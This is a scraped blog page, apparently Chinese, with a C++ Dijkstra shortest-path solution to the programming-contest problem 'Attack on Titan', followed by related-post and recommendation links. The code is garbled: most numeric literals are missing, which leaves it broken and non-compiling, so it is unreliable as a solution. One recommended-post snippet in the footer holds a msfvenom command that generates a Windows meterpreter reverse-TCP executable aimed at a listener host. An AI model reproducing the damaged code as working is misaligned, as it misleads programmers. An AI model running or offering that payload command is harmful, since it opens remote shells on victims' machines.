牛客国庆集训派对Day1 B. Attack on Titan
B. Attack on Titan
#include<cstdio>
#include<algorithm>
#include<cstring>
#include<iostream>
#include<cmath>
#include<cctype>
#include<set>
#include<queue>
#include<vector>
#include<map>
using namespace std;
typedef long long LL; inline int read() {
int x=,f=;char ch=getchar();for(;!isdigit(ch);ch=getchar())if(ch=='-')f=-;
for(;isdigit(ch);ch=getchar())x=x*+ch-'';return x*f;
} const int N = ;
const double g2 = sqrt(2.0), INF = 1e18, eps = 1e-;
int dx[] = {, , -, , , , -, -};
int dy[] = {, -, , , -, , -, };
int nxt1[], nxt2[];
bool vis[N][N][];
double A[N][N], dis[N][N][], w[]; struct Node{
int x, y, now; double dis;
bool operator < (const Node &A) const { return dis > A.dis; }
}tmp[];
priority_queue< Node >q; int main() {
int n = read(), m = read(), C = read(), cnt = ;
for (int i = ; i <= n; ++i)
for (int j = ; j <= m; ++j) A[i][j] = read();
for (int i = -; i <= ; ++i)
for (int j = -; j <= ; ++j) {
double v = i + j * g2;
if (v >= && v <= C) w[++cnt] = v;
}
sort(w + , w + cnt + );
for (int i = ; i <= cnt; ++i) {
for (int j = i - ; ~j; --j) if (fabs(w[i] - w[j] - ) < eps) { nxt1[i] = j; break; }
for (int j = i - ; ~j; --j) if (fabs(w[i] - w[j] - g2) < eps) { nxt2[i] = j; break; }
}
for (int i = ; i <= n; ++i)
for (int j = ; j <= m; ++j)
for (int k = ; k <= cnt; ++k) dis[i][j][k] = INF;
dis[][][] = , q.push((Node){, , , });
while (!q.empty()) {
Node topp = q.top(); q.pop();
int x = topp.x, y = topp.y, now = topp.now;
if (vis[x][y][now]) continue;
if (x == n && y == m) { printf("%.10lf",dis[x][y][now]); return ; }
vis[x][y][now] = ;
int t = ;
if (w[now] + eps > ) {
for (int i = ; i < ; ++i) {
int nx = x + dx[i], ny = y + dy[i];
if (nx >= && nx <= n && ny >= && ny <= m) tmp[++t] = (Node){nx,ny,nxt1[now],};
}
}
if (w[now] + eps > g2) {
for (int i = ; i < ; ++i) {
int nx = x + dx[i], ny = y + dy[i];
if (nx >= && nx <= n && ny >= && ny <= m) tmp[++t] = (Node){nx,ny,nxt2[now],};
}
}
double d = dis[x][y][now];
if(now<cnt) tmp[++t]=(Node){x,y,now+,(w[now+]-w[now])*A[x][y]};
for (int i = ; i <= t; ++i) {
if (dis[tmp[i].x][tmp[i].y][tmp[i].now] > d + tmp[i].dis)
dis[tmp[i].x][tmp[i].y][tmp[i].now] = tmp[i].dis = d + tmp[i].dis, q.push(tmp[i]);
}
}
return ;
}
牛客国庆集训派对Day1 B. Attack on Titan的更多相关文章
- 牛客国庆集训派对Day1.B.Attack on Titan(思路 最短路Dijkstra)
题目链接 \(Description\) 给定\(n,m,C\)及大小为\((n+1)(m+1)\)的矩阵\(c[i][j]\).平面上有\((n+1)(m+1)\)个点,从\((0,0)\)编号到\ ...
- 牛客国庆集训派对Day1 L-New Game!(最短路)
链接:https://www.nowcoder.com/acm/contest/201/L 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 1048576K,其他语言20 ...
- 牛客国庆集训派对Day1 L New Game!(堆优化dijkstra+建图)
链接:https://ac.nowcoder.com/acm/contest/201/L来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 1048576K,其他语言2097 ...
- 牛客国庆集训派对Day1 Solution
A Tobaku Mokushiroku Kaiji 水. #include <bits/stdc++.h> using namespace std; ], b[]; void Ru ...
- 2019牛客国庆集训派对day1(A, B E F K)
链接:https://ac.nowcoder.com/acm/contest/1099#question A:可知符合条件的图中间肯定存在一个由1构成的矩形,找到由1构成矩形的边界,判断出现的1的数量 ...
- 牛客国庆集训派对Day1:J:Princess Principal(栈模拟求括号匹配)
题目描述 阿尔比恩王国(the Albion Kingdom)潜伏着一群代号“白鸽队(Team White Pigeon)”的间谍.在没有任务的时候,她们会进行各种各样的训练,比如快速判断一个文档有没 ...
- 2019牛客国庆集训派对day1 K题 双向链表练习题 splay区间翻转
题目链接: 解法: 先建n颗平衡树,合并的时候将a中最右的结点翻转到根节点,b中最左的结点翻转到根节点,对合并后的根节点进行标记. #include <bits/stdc++.h> usi ...
- 2019牛客国庆集训派对day1
C 存每个值存在的位置,枚举末尾的值,再枚举前面的值,哈希二分出最长相同的,即剩下的为不同的 D \(f_{i,j,k}\)为前i位,最后一个3因子在j,次因子在k G bitset处理有多少位置符合 ...
- 牛客国庆集训派对Day6 A Birthday 费用流
牛客国庆集训派对Day6 A Birthday:https://www.nowcoder.com/acm/contest/206/A 题意: 恬恬的生日临近了.宇扬给她准备了一个蛋糕. 正如往常一样, ...
随机推荐
- SQL SERVER 使用ESCAPE转义
使用SQL语句查询是开发中常做的事,在实际的情况中,可能会遇到,查询包含某个关键词的所有行,而这个关键词正好也是SQL SERVER的关键词. 下面有一张表Member,有如下的数据: 假如需要查询名 ...
- python基础_类型_dict
#dict字典,其实与其叫字典不如叫key-value更合适,不知道这个名是怎么来的,这个可以用来搞用户名和密码,不过搞这个不用数据库是不是显得太low了 #用花括号{}扩起来,逗号分隔每个元素,每个 ...
- Linux 开机启动流程
Linux的开机启动流程 1.开机BIOS自检 --> 检查CPU,硬盘等硬件信息 2.MBR[Major ...
- (转)透明光照模型与环境贴图之基础理论篇(折射率、色散、fresnel定律) .
摘抄“GPU Programming And Cg Language Primer 1rd Edition” 中文名“GPU编程与CG语言之阳春白雪下里巴人” 材质和光的交互除了反射现象,对于透明物 ...
- win中使用cmd杀端口
最近在win开发时,总是遇到端口占用的情况...可能是跑的程序太多了吧 当你测试一个demo时遇到这个就很恶心.. 记一下 netstat -ano | findstr 80 //列出进程极其占用的端 ...
- 自定义配置编译linux内核
1 编译linux内核原因一般情况下,我们是不需要重新去编译linux内核的,但如果你发现你需要修改内核的某个部分或者说你需要的某个模块并没有编译进内核,那里你可以通过重新编译内核来满足你的需求,比如 ...
- Golang格式化小结
Golang的格式化使用了与c.python等语言类似的风格,但是更加丰富和通用.格式化函数在fmt包中,如:fmt.Printf,fmt.Fprintf,fmt.Sprintf,fmt.Printl ...
- 对于高并发短连接造成Cannot assign requested address解决方法
https://www.cnblogs.com/dadonggg/p/8778318.html 感谢这篇文章给予的启发 在tcp四次挥手断开连接时,主动释放连接的一方最后会进入TIME_WAIT状态, ...
- msf后渗透
生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...
- 20145203盖泽双 《Java程序设计》第8周学习总结
20145203盖泽双 <Java程序设计>第8周学习总结 教材学习内容总结 1.java.util.logging包提供了日志功能相关类与接口,使用日志的起点是logger类,Logge ...